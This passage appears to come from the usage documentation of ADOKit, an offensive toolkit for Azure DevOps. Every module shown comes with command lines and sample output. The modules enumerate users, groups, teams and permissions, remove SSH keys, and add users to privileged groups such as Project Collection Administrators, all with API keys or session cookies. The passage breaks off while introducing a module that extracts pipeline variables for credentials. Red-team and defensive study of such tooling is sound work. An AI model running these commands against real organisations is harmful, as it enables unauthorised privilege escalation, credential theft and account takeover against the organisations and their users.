ADOKit.exe listsshkey /credential:apiKey /url:https://dev.azure.com/organizationName
ADOKit.exe listsshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName
Example Output
C:\>ADOKit.exe listsshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: listsshkey
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 11:37:10 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
SSH Key ID | Name | Scope | Valid Until | Public SSH Key
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------
ec056907-9370-4aab-b78c-d642d551eb98 | test-ssh-key | app_token | 4/3/2024 3:13:58 PM | ...nDoYAPisc/pEFArVVV0=
4/3/23 15:37:11 Finished execution of listsshkey
Remove SSH Key
Use Case
Remove an SSH key for a given user in an Azure DevOps instance.
Syntax
Provide the removesshkey module, along with any relevant authentication information and URL. Additionally, provide the ID for the SSH key in the /id: argument. This will output whether SSH key was removed or not, and then will list the current active SSH key's for the user after performing the removal.
ADOKit.exe removesshkey /credential:apiKey /url:https://dev.azure.com/organizationName /id:000-000-0000...
ADOKit.exe removesshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /id:000-000-0000...
Example Output
C:\>ADOKit.exe removesshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /id:a199c036-d7ed-4848-aae8-2397470aff97
==================================================
Module: removesshkey
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 1:50:08 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[+] SUCCESS: SSH key with ID a199c036-d7ed-4848-aae8-2397470aff97 was removed successfully.
SSH Key ID | Name | Scope | Valid Until | Public SSH Key
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------
ec056907-9370-4aab-b78c-d642d551eb98 | test-ssh-key | app_token | 4/3/2024 3:13:58 PM | ...nDoYAPisc/pEFArVVV0=
4/3/23 17:50:09 Finished execution of removesshkey
List Users
Use Case
List users within an Azure DevOps instance
Syntax
Provide the listuser module, along with any relevant authentication information and URL. This will output the username, display name and user principal name.
ADOKit.exe listuser /credential:apiKey /url:https://dev.azure.com/organizationName
ADOKit.exe listuser /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName
Example Output
C:\>ADOKit.exe listuser /credential:apiKey /url:https://dev.azure.com/YourOrganization
==================================================
Module: listuser
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 4:12:07 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Username | Display Name | UPN
------------------------------------------------------------------------------------------------------------------------------------------------------------
user1 | User 1 | user1@YourOrganization.onmicrosoft.com
jsmith | John Smith | jsmith@YourOrganization.onmicrosoft.com
rsmith | Ron Smith | rsmith@YourOrganization.onmicrosoft.com
user2 | User 2 | user2@YourOrganization.onmicrosoft.com
4/3/23 20:12:08 Finished execution of listuser
Search User
Use Case
Search for given user(s) in Azure DevOps instance
Syntax
Provide the searchuser module and your search criteria in the /search: command-line argument, along with any relevant authentication information and URL. This will output the matching username, display name and user principal name.
ADOKit.exe searchuser /credential:apiKey /url:https://dev.azure.com/organizationName /search:user
ADOKit.exe searchuser /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:user
Example Output
C:\>ADOKit.exe searchuser /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"user"
==================================================
Module: searchuser
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 4:12:23 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Username | Display Name | UPN
------------------------------------------------------------------------------------------------------------------------------------------------------------
user1 | User 1 | user1@YourOrganization.onmicrosoft.com
user2 | User 2 | user2@YourOrganization.onmicrosoft.com
4/3/23 20:12:24 Finished execution of searchuser
List Teams
Use Case
List teams within an Azure DevOps instance
Syntax
Provide the listteam module, along with any relevant authentication information and URL. This will output the team name, project name and team description.
ADOKit.exe listteam /credential:apiKey /url:https://dev.azure.com/organizationName
ADOKit.exe listteam /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName
Example Output
C:\>ADOKit.exe listteam /credential:apiKey /url:https://dev.azure.com/YourOrganization
==================================================
Module: listteam
Auth Type: API Key
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 5/31/2024 9:48:26 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Team Name | Project | Description
----------------------------------------------------------------------------------------------------------------------------------------
ProjectWithMultipleRepos Team | ProjectWithMultipleRepos | The default project team.
MaraudersMap Team | MaraudersMap | The default project team.
TestProject2 Team | TestProject2 | The default project team.
TestProject Team | TestProject | The default project team.
Search Team
Use Case
Search for given team(s) in Azure DevOps instance
Syntax
Provide the searchteam module and your search criteria in the /search: command-line argument, along with any relevant authentication information and URL. This will output the team name, project name and team description.
ADOKit.exe searchteam /credential:apiKey /url:https://dev.azure.com/organizationName /search:someTeam
ADOKit.exe searchteam /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:someTeam
Example Output
C:\>ADOKit.exe searchteam /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:test
==================================================
Module: searchteam
Auth Type: API Key
Search Term: test
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 5/31/2024 9:48:32 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Team Name | Project | Description
----------------------------------------------------------------------------------------------------------------------------------------
TestProject2 Team | TestProject2 | The default project team.
TestProject Team | TestProject | The default project team.
Get Team Members
Use Case
Get team members for a given team
Syntax
Provide the getteammembers module and your search criteria in the /search: command-line argument, along with any relevant authentication information and URL. This will output the team name, team member username, and team member display name.
ADOKit.exe getteammembers /credential:apiKey /url:https://dev.azure.com/organizationName /search:someTeam
ADOKit.exe getteammembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:someTeam
Example Output
C:\source\ADOKit-main\ADOKit\bin\Release>ADOKit.exe getteammembers /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"dev team"
==================================================
Module: getteammembers
Auth Type: API Key
Search Term: dev team
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 5/31/2024 10:45:11 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Team Name | Username | User Display Name
-------------------------------------------------------------------------------------------------------------------------------------------------------
Dev Team | user1@YourTenant.onmicrosoft.com | User 1
Dev Team | user3@YourTenant.onmicrosoft.com | user3
Dev Team | user4@YourTenant.onmicrosoft.com | user4
List Groups
Use Case
List groups within an Azure DevOps instance
Syntax
Provide the listgroup module, along with any relevant authentication information and URL. This will output the user principal name, display name and description of group.
ADOKit.exe listgroup /credential:apiKey /url:https://dev.azure.com/organizationName
ADOKit.exe listgroup /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName
Example Output
C:\>ADOKit.exe listgroup /credential:apiKey /url:https://dev.azure.com/YourOrganization
==================================================
Module: listgroup
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 4:48:45 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
UPN | Display Name | Description
------------------------------------------------------------------------------------------------------------------------------------------------------------
[TestProject]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[TestProject2]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[YourOrganization]\Project-Scoped Users | Project-Scoped Users | Members of this group will have limited visibility to organization-level data
[ProjectWithMultipleRepos]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[MaraudersMap]\Readers | Readers | Members of this group have access to the team project.
[YourOrganization]\Project Collection Test Service Accounts | Project Collection Test Service Accounts | Members of this group should include the service accounts used by the test controllers set up for this project collection.
[MaraudersMap]\MaraudersMap Team | MaraudersMap Team | The default project team.
[TEAM FOUNDATION]\Enterprise Service Accounts | Enterprise Service Accounts | Members of this group have service-level permissions in this enterprise. For service accounts only.
[YourOrganization]\Security Service Group | Security Service Group | Identities which are granted explicit permission to a resource will be automatically added to this group if they were not previously a member of any other group.
[TestProject]\Release Administrators | Release Administrators | Members of this group can perform all operations on Release Management
---SNIP---
4/3/23 20:48:46 Finished execution of listgroup
Search Groups
Use Case
Search for given group(s) in Azure DevOps instance
Syntax
Provide the searchgroup module and your search criteria in the /search: command-line argument, along with any relevant authentication information and URL. This will output the user principal name, display name and description for the matching group.
ADOKit.exe searchgroup /credential:apiKey /url:https://dev.azure.com/organizationName /search:"someGroup"
ADOKit.exe searchgroup /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:"someGroup"
Example Output
C:\>ADOKit.exe searchgroup /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"admin"
==================================================
Module: searchgroup
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 4:48:41 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
UPN | Display Name | Description
------------------------------------------------------------------------------------------------------------------------------------------------------------
[TestProject2]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[ProjectWithMultipleRepos]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[TestProject]\Release Administrators | Release Administrators | Members of this group can perform all operations on Release Management
[TestProject]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[MaraudersMap]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
[TestProject2]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
[YourOrganization]\Project Collection Administrators | Project Collection Administrators | Members of this application group can perform all privileged operations on the Team Project Collection.
[ProjectWithMultipleRepos]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
[MaraudersMap]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[YourOrganization]\Project Collection Build Administrators | Project Collection Build Administrators | Members of this group should include accounts for people who should be able to administer the build resources.
[TestProject]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
4/3/23 20:48:42 Finished execution of searchgroup
Get Group Members
Use Case
List all group members for a given group
Syntax
Provide the getgroupmembers module and the group(s) you would like to search for in the /group: command-line argument, along with any relevant authentication information and URL. This will output the user principal name of the group matching, along with each group member of that group including the user's mail address and display name.
ADOKit.exe getgroupmembers /credential:apiKey /url:https://dev.azure.com/organizationName /group:"someGroup"
ADOKit.exe getgroupmembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /group:"someGroup"
Example Output
C:\>ADOKit.exe getgroupmembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /group:"admin"
==================================================
Module: getgroupmembers
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 9:11:03 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[TestProject2]\Build Administrators | user1@YourOrganization.onmicrosoft.com | User 1
[TestProject2]\Build Administrators | user2@YourOrganization.onmicrosoft.com | User 2
[MaraudersMap]\Project Administrators | brett.hawkins@YourOrganization.onmicrosoft.com | Brett Hawkins
[MaraudersMap]\Project Administrators | rsmith@YourOrganization.onmicrosoft.com | Ron Smith
[TestProject2]\Project Administrators | user1@YourOrganization.onmicrosoft.com | User 1
[TestProject2]\Project Administrators | user2@YourOrganization.onmicrosoft.com | User 2
[YourOrganization]\Project Collection Administrators | jsmith@YourOrganization.onmicrosoft.com | John Smith
[ProjectWithMultipleRepos]\Project Administrators | brett.hawkins@YourOrganization.onmicrosoft.com | Brett Hawkins
[MaraudersMap]\Build Administrators | brett.hawkins@YourOrganization.onmicrosoft.com | Brett Hawkins
4/4/23 13:11:09 Finished execution of getgroupmembers
Get Project Permissions
Use Case
Get a listing of who has permissions to a given project.
Syntax
Provide the getpermissions module and the project you would like to search for in the /project: command-line argument, along with any relevant authentication information and URL. This will output the user principal name, display name and description for the matching group. Additionally, this will output the group members for each of those groups.
ADOKit.exe getpermissions /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someproject"
ADOKit.exe getpermissions /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someproject"
Example Output
C:\>ADOKit.exe getpermissions /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"
==================================================
Module: getpermissions
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 9:11:16 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
UPN | Display Name | Description
------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[MaraudersMap]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[MaraudersMap]\MaraudersMap Team | MaraudersMap Team | The default project team.
[MaraudersMap]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
[MaraudersMap]\Project Valid Users | Project Valid Users | Members of this group have access to the team project.
[MaraudersMap]\Readers | Readers | Members of this group have access to the team project.
[*] INFO: Listing group members for each group that has permissions to this project
GROUP NAME: [MaraudersMap]\Build Administrators
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
GROUP NAME: [MaraudersMap]\Contributors
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Contributors | user1@YourOrganization.onmicrosoft.com | User 1
[MaraudersMap]\Contributors | user2@YourOrganization.onmicrosoft.com | User 2
GROUP NAME: [MaraudersMap]\MaraudersMap Team
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\MaraudersMap Team | brett.hawkins@YourOrganization.onmicrosoft.com | Brett Hawkins
GROUP NAME: [MaraudersMap]\Project Administrators
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Project Administrators | brett.hawkins@YourOrganization.onmicrosoft.com | Brett Hawkins
GROUP NAME: [MaraudersMap]\Project Valid Users
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
GROUP NAME: [MaraudersMap]\Readers
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Readers | jsmith@YourOrganization.onmicrosoft.com | John Smith
4/4/23 13:11:18 Finished execution of getpermissions
Add Project Admin
Use Case
Add a user to the Project Administrators group for a given project.
Syntax
Provide the addprojectadmin module along with a /project: and /user: for a given user to be added to the Project Administrators group for the given project. Additionally, provide along any relevant authentication information and URL. See Module Details Table for the permissions needed to perform this action.
ADOKit.exe addprojectadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
ADOKit.exe addprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
Example Output
C:\>ADOKit.exe addprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"
==================================================
Module: addprojectadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 2:52:45 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Administrators group for the maraudersmap project.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Project Administrators | brett.hawkins@YourOrganization.onmicrosoft.com | Brett Hawkins
[MaraudersMap]\Project Administrators | user1@YourOrganization.onmicrosoft.com | User 1
4/4/23 18:52:47 Finished execution of addprojectadmin
Remove Project Admin
Use Case
Remove a user from the Project Administrators group for a given project.
Syntax
Provide the removeprojectadmin module along with a /project: and /user: for a given user to be removed from the Project Administrators group for the given project. Additionally, provide along any relevant authentication information and URL. See Module Details Table for the permissions needed to perform this action.
ADOKit.exe removeprojectadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
ADOKit.exe removeprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
Example Output
C:\>ADOKit.exe removeprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"
==================================================
Module: removeprojectadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 3:19:43 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Administrators group for the maraudersmap project.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Project Administrators | brett.hawkins@YourOrganization.onmicrosoft.com | Brett Hawkins
4/4/23 19:19:44 Finished execution of removeprojectadmin
Add Build Admin
Use Case
Add a user to the Build Administrators group for a given project.
Syntax
Provide the addbuildadmin module along with a /project: and /user: for a given user to be added to the Build Administrators group for the given project. Additionally, provide along any relevant authentication information and URL. See Module Details Table for the permissions needed to perform this action.
ADOKit.exe addbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
ADOKit.exe addbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
Example Output
C:\>ADOKit.exe addbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"
==================================================
Module: addbuildadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 3:41:51 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Build Administrators group for the maraudersmap project.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Build Administrators | user1@YourOrganization.onmicrosoft.com | User 1
4/4/23 19:41:55 Finished execution of addbuildadmin
Remove Build Admin
Use Case
Remove a user from the Build Administrators group for a given project.
Syntax
Provide the removebuildadmin module along with a /project: and /user: for a given user to be removed from the Build Administrators group for the given project. Additionally, provide along any relevant authentication information and URL. See Module Details Table for the permissions needed to perform this action.
ADOKit.exe removebuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
ADOKit.exe removebuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
Example Output
C:\>ADOKit.exe removebuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"
==================================================
Module: removebuildadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 3:42:10 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Build Administrators group for the maraudersmap project.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4/4/23 19:42:11 Finished execution of removebuildadmin
Add Collection Admin
Use Case
Add a user to the Project Collection Administrators group.
Syntax
Provide the addcollectionadmin module along with a /user: for a given user to be added to the Project Collection Administrators group. Additionally, provide along any relevant authentication information and URL. See Module Details Table for the permissions needed to perform this action.
ADOKit.exe addcollectionadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe addcollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
Example Output
C:\>ADOKit.exe addcollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: addcollectionadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 4:04:40 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Collection Administrators group.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[YourOrganization]\Project Collection Administrators | jsmith@YourOrganization.onmicrosoft.com | John Smith
[YourOrganization]\Project Collection Administrators | user1@YourOrganization.onmicrosoft.com | User 1
4/4/23 20:04:43 Finished execution of addcollectionadmin
Remove Collection Admin
Use Case
Remove a user from the Project Collection Administrators group.
Syntax
Provide the removecollectionadmin module along with a /user: for a given user to be removed from the Project Collection Administrators group. Additionally, provide along any relevant authentication information and URL. See Module Details Table for the permissions needed to perform this action.
ADOKit.exe removecollectionadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe removecollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
Example Output
C:\>ADOKit.exe removecollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: removecollectionadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 4:10:35 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Collection Administrators group.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[YourOrganization]\Project Collection Administrators | jsmith@YourOrganization.onmicrosoft.com | John Smith
4/4/23 20:10:38 Finished execution of removecollectionadmin
Add Collection Build Admin
Use Case
Add a user to the Project Collection Build Administrators group.
Syntax
Provide the addcollectionbuildadmin module along with a /user: for a given user to be added to the Project Collection Build Administrators group. Additionally, provide along any relevant authentication information and URL. See Module Details Table for the permissions needed to perform this action.
ADOKit.exe addcollectionbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe addcollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
Example Output
C:\>ADOKit.exe addcollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: addcollectionbuildadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/5/2023 8:21:39 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Collection Build Administrators group.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[YourOrganization]\Project Collection Build Administrators | user1@YourOrganization.onmicrosoft.com | User 1
4/5/23 12:21:42 Finished execution of addcollectionbuildadmin
Remove Collection Build Admin
Use Case
Remove a user from the Project Collection Build Administrators group.
Syntax
Provide the removecollectionbuildadmin module along with a /user: for a given user to be removed from the Project Collection Build Administrators group. Additionally, provide along any relevant authentication information and URL. See Module Details Table for the permissions needed to perform this action.
ADOKit.exe removecollectionbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe removecollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
Example Output
C:\>ADOKit.exe removecollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: removecollectionbuildadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/5/2023 8:21:59 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Collection Build Administrators group.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4/5/23 12:22:02 Finished execution of removecollectionbuildadmin
Add Collection Build Service Account
Use Case
Add a user to the Project Collection Build Service Accounts group.
Syntax
Provide the addcollectionbuildsvc module along with a /user: for a given user to be added to the Project Collection Build Service Accounts group. Additionally, provide along any relevant authentication information and URL. See Module Details Table for the permissions needed to perform this action.
ADOKit.exe addcollectionbuildsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe addcollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
Example Output
C:\>ADOKit.exe addcollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: addcollectionbuildsvc
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/5/2023 8:22:13 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Collection Build Service Accounts group.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[YourOrganization]\Project Collection Build Service Accounts | user1@YourOrganization.onmicrosoft.com | User 1
4/5/23 12:22:15 Finished execution of addcollectionbuildsvc
Remove Collection Build Service Account
Use Case
Remove a user from the Project Collection Build Service Accounts group.
Syntax
Provide the removecollectionbuildsvc module along with a /user: for a given user to be removed from the Project Collection Build Service Accounts group. Additionally, provide along any relevant authentication information and URL. See Module Details Table for the permissions needed to perform this action.
ADOKit.exe removecollectionbuildsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe removecollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
Example Output
C:\>ADOKit.exe removecollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: removecollectionbuildsvc
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/5/2023 8:22:27 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Collection Build Service Accounts group.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4/5/23 12:22:28 Finished execution of removecollectionbuildsvc
Add Collection Service Account
Use Case
Add a user to the Project Collection Service Accounts group.
Syntax
Provide the addcollectionsvc module along with a /user: for a given user to be added to the Project Collection Service Accounts group. Additionally, provide along any relevant authentication information and URL. See Module Details Table for the permissions needed to perform this action.
ADOKit.exe addcollectionsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe addcollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
Example Output
C:\>ADOKit.exe addcollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: addcollectionsvc
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/5/2023 11:21:01 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Collection Service Accounts group.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[YourOrganization]\Project Collection Service Accounts | jsmith@YourOrganization.onmicrosoft.com | John Smith
[YourOrganization]\Project Collection Service Accounts | user1@YourOrganization.onmicrosoft.com | User 1
4/5/23 15:21:04 Finished execution of addcollectionsvc
Remove Collection Service Account
Use Case
Remove a user from the Project Collection Service Accounts group.
Syntax
Provide the removecollectionsvc module along with a /user: for a given user to be removed from the Project Collection Service Accounts group. Additionally, provide along any relevant authentication information and URL. See Module Details Table for the permissions needed to perform this action.
ADOKit.exe removecollectionsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe removecollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
Example Output
C:\>ADOKit.exe removecollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: removecollectionsvc
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/5/2023 11:21:43 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Collection Service Accounts group.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[YourOrganization]\Project Collection Service Accounts | jsmith@YourOrganization.onmicrosoft.com | John Smith
4/5/23 15:21:44 Finished execution of removecollectionsvc
Get Pipeline Variables
Use Case
Extract any pipeline variables being used in project(s), which could contain credentials or other useful information.
Syntax
Provide the getpipelinevars module along with a /project: for a given project to extract any pipeline variables being used. If you would like to extract pipeline variables from all projects specify all in the /project: argument.
